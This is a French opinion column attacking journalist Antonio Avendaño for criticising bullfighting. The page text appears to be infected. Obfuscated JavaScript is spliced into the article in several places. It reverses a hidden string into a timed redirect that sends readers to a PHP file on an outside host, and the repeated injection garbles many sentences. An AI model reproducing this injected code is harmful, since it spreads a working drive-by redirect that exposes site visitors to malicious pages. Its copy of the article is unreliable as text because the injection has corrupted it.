LA PHOBIE QUI CONTINUE

Antonio Avendaño, chien fidèle de la meute journalistique du parti socialiste espagnol, habile grimpeur pour escalader les postes bien couvert à l’ombre par Manuel Chaves et Griñán ; homme revêche, au regard dans le coin et le rictus permanent de celui qui est attiré par la bouse, peut-être parce qu’il a bien dû la supporter tout autour de lui comme péage, s’attaqua mercredi dernier à la tauromachie et aux aficionados dans un article:

$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andalucesdiario.es/Sur_izquierda/el-cordobes-y-ferlosio-en-la-misma-tandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda/">http://www.andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andalucesdiario.es/Sur_izquierda/el-cordobes-y-ferlosio-en-la-misma-tandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda/) publié dans le journal sur internet dont il est le directeur, utilisant comme prétexte la cérémonie de remise des Médailles au Mérite des Beaux Arts, qui s’est déroulée à Séville en présence des rois d’Espagne, du fait que l’un des lauréats était Manuel Benítez, El Cordobés.

Ce personnage se plaignait qu’un « tortionnaire d’animaux » ait obtenu ce type de récompenses et aussi que cela se produise « dans le même lieu, à la même heure et pour le même prix » qu’un écrivain du niveau de Rafael Sánchez Ferlosio, réunissant, d’après lui, « l’Espagne la plus illustrée » avec « la plus primitive ».

Lorsque j’ai connu Avendaño, alors qu’il était rédacteur en chef du quotidien « El Correo de Andalucía », il n’avait point de semblables préjugés à l’encontre de la corrida ; bien au contraire, il la respectait tout comme les pages de la rubrique taurine ; par contre pas autant vis-à-vis du travail que l’on réalisait –en tout cas le mien, comme pigiste- car une fois, suite à un peu de retard dans la réception de ma chronique envoyée depuis le Puerto de Santa María, il avait décidé, sans me prévenir, de prendre celle d’une autre agence, la publier et y rajouter mon nom à la fin. Je ne sais pas si cet exemple définit sa déontologie professionnelle, mais, au moins, en dit long sur elle. Naturellement j’ai demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andé à ce que le journal inclut dans ses pages un rectificatif de son erreur, mais j’imagine sa contrariété, car depuis je n’ai plus eu de ses nouvelles.

Il semble qu’il ait évolué en parallèle à son parti qui après s’en être « lavé les mains » s’est positionné –peut-être cherchant les votes que sa politique néolibérale et l’empêche d’avoir- clairement contre la corrida, comme c’est arrivé dernièrement à Palma de Mallorca, déclarée « cité anti-taurine » avec les votes du parti socialiste et des nationalistes.

Suivant cette mode « branchée » de radicalisation anti-taurine, Avendaño nous insulte, en tant qu’aficionados à la tauromachie, en nous qualifiant d’irrémédiables hypocrites –lui, qui en tant que directeur des services de communication du bureau du porte-parole de la Communauté d’Andalousie, avait fait de l’hypocrisie  et du cynisme son pain quotidien- et des ignares ; c’est-à-dire des personnes  manquant de grâce ou maladroites, provoquant le mépris ou la colère. Et c’est lui qui le dit, si l’on s’en tient à «sa grâce naturelle » il faudrait le nommer « le plus grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and des ignares du Royaume».

Il insulte également le taureau, car c’est une insulte de qualifier un animal aussi fier, puissant et imposant comme le taureau que l’on affronte dans les arènes de « pauvres bêtes terrifiées », mais aussi de « animal innocent et malheureux ». Il doit considérer comme malheureux le quart d’heure de lutte où il fait face au destin pour lequel il a été élevé, car bien d’autres espèces animales aimeraient vivre dans les mêmes conditions de liberté, de soins et d’attachement que le taureau brave dans son milieu naturel. Et autre chose qu’oublie notre journaliste crispé : la mort dans les arènes, cela n’arrive qu’à 6% du bétail, on garantit aux 94% restants la vie dans ce cadre paradisiaque. Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and au mot « innocent » qu’un qualificatif déplacé qui concerne l’humaine et non l’animal. Ni le taureau, ni le lion, ni le vautour ne sont innocents ou coupables. Les animaux –à l’exception de l’homme- agissent suivant leurs codes génétiques. Point à la ligne.

Il affirme en plus que « le pire ce n’est pas de leur donner des médailles, mais qu’ils croient qu’ils les méritent ». Là, il se trompe à nouveau. Dans les rêves des gamins qui veulent devenir toreros n’apparaissent les médailles nulle part, si ce n’est comme métaphores des coups de corne. Ses espoirs sont autres, celui de faire la faena idéale avec un toro dans de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes arènes comme Madrid ou Séville, ouvrir la Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande Porte de la Tauromachie et mériter que leurs noms apparaissent sur les affiches des principales ferias. Le plus important pour ce garçon c’est de s’exprimer en toréant, de traduire devant et avec le taureau ces sensations qu’il a l’intérieur de lui et qui le poussent à se jouer la vie, des émotions qu’Antonio Avendaño et autres anti-taurins sont incapables de comprendre et de ressentir.

Cependant, les choses sont ce qu’elles sont : une phobie qui ne cesse et infeste des secteurs chaque fois plus importants de la population, lesquels automatiquement et sans aucune réflexion, s’approprient des clichés sur la torture animale, les subventions et l’anachronisme des corridas. Et le monde taurin qui dort, comme si ça ne le concernait pas. Peut-être que lorsqu’il se réveillera il sera irrémédiablement reclus dans le sommeil éternel.

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